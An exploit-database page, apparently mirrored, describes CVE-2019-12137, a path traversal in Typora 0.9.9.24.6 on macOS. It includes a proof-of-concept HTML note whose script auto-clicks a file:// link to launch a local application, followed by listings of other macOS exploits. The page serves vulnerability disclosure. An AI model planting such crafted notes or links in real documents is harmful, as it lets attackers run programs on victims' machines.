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"Typora 0.9.9.24.6 - Directory Traversal"

Author

"Dhiraj Mishra"

Platform

macos

Release date

2019-05-27

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Exploit Title: Code execution via path traversal
# Date: 17-05-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://typora.io
# Software Link: https://typora.io/download/Typora.dmg
# Version: 0.9.9.24.6
# Tested on: macOS Mojave v10.14.4
# CVE: CVE-2019-12137
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12137
# https://github.com/typora/typora-issues/issues/2505

Summary:
Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of
arbitrary programs, via a file:/// or ../ substring in a shared note via
abusing URI schemes.

Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
(../../../../something.app).

Since, Typro also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes to the
victim to perform any further attack.

Simple exploit code would be:

<body>
<a href="file:\\\Applications\Calculator.app" id=inputzero>
  <img src="someimage.jpeg" alt="inputzero" width="104" height="142">
</a>
<script>
(function download() {
    document.getElementById('inputzero').click();
})()
</script>
</body>
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2019-07-02 "Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)" local macos Metasploit
2019-05-27 "Typora 0.9.9.24.6 - Directory Traversal" remote macos "Dhiraj Mishra"
2019-05-23 "Apple Mac OS X - Feedback Assistant Race Condition (Metasploit)" local macos Metasploit
2019-04-18 "Evernote 7.9 - Code Execution via Path Traversal" local macos "Dhiraj Mishra"
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2018-11-13 "CuteFTP Mac 3.1 - Denial of Service (PoC)" dos macos "Yair Rodríguez Aparicio"
2018-11-06 "FaceTime - 'VCPDecompressionDecodeFrame' Memory Corruption" dos macos "Google Security Research"
2018-11-06 "FaceTime - 'readSPSandGetDecoderParams' Stack Corruption" dos macos "Google Security Research"
2018-11-05 "LiquidVPN 1.36 / 1.37 - Privilege Escalation" local macos "Bernd Leitner"
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2018-03-20 "Google Software Updater macOS - Unsafe use of Distributed Objects Privilege Escalation" local macos "Google Security Research"
2017-01-16 "Apple macOS Sierra 10.12.1 - 'physmem' Local Privilege Escalation" local macos "Brandon Azad"
2017-12-07 "Apple macOS High Sierra 10.13 - 'ctl_ctloutput-leak' Information Leak" local macos "Brandon Azad"
2017-11-28 "Apple macOS 10.13.1 (High Sierra) - 'Blank Root' Local Privilege Escalation" local macos Lemiorhan
2017-12-06 "Apple macOS 10.13.1 (High Sierra) - Insecure Cron System Local Privilege Escalation" local macos "Mark Wadham"
2017-12-06 "Proxifier for Mac 2.19 - Local Privilege Escalation" local macos "Mark Wadham"
Release Date Title Type Platform Author
2019-06-06 "Supra Smart Cloud TV - 'openLiveURL()' Remote File Inclusion" webapps hardware "Dhiraj Mishra"
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2019-04-26 "Apache Pluto 3.0.0 / 3.0.1 - Persistent Cross-Site Scripting" webapps java "Dhiraj Mishra"
2019-04-18 "Evernote 7.9 - Code Execution via Path Traversal" local macos "Dhiraj Mishra"
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2019-01-21 "GattLib 0.2 - Stack Buffer Overflow" remote linux "Dhiraj Mishra"
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2018-08-14 "cgit 1.2.1 - Directory Traversal (Metasploit)" webapps linux "Dhiraj Mishra"
2018-04-05 "WebRTC - Private IP Leakage (Metasploit)" webapps multiple "Dhiraj Mishra"
2017-08-30 "Metasploit < 4.14.1-20170828 - Cross-Site Request Forgery" webapps ruby "Dhiraj Mishra"
2017-08-09 "Symantec Messaging Gateway < 10.6.3-267 - Cross-Site Request Forgery" webapps multiple "Dhiraj Mishra"
2017-12-20 "Samsung Internet Browser - SOP Bypass (Metasploit)" remote android "Dhiraj Mishra"
2018-06-05 "WebKitGTK+ < 2.21.3 - Crash (PoC)" local linux "Dhiraj Mishra"
2018-08-23 "Epiphany Web Browser 3.28.1 - Denial of Service (PoC)" dos linux "Dhiraj Mishra"
2018-06-11 "WebKitGTK+ < 2.21.3 - 'WebKitFaviconDatabase' Denial of Service (Metasploit)" dos linux "Dhiraj Mishra"
2018-06-01 "Epiphany 3.28.2.1 - Denial of Service" dos multiple "Dhiraj Mishra"
2017-08-31 "IBM Notes 8.5.x/9.0.x - Denial of Service (Metasploit)" dos multiple "Dhiraj Mishra"
2017-09-02 "IBM Notes 8.5.x/9.0.x - Denial of Service" dos multiple "Dhiraj Mishra"
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46932/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/46932/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46932/41363/typora-099246-directory-traversal/download/", "exploit_id": "46932", "exploit_description": "\"Typora 0.9.9.24.6 - Directory Traversal\"", "exploit_date": "2019-05-27", "exploit_author": "\"Dhiraj Mishra\"", "exploit_type": "remote", "exploit_platform": "macos", "exploit_port": null}
                    

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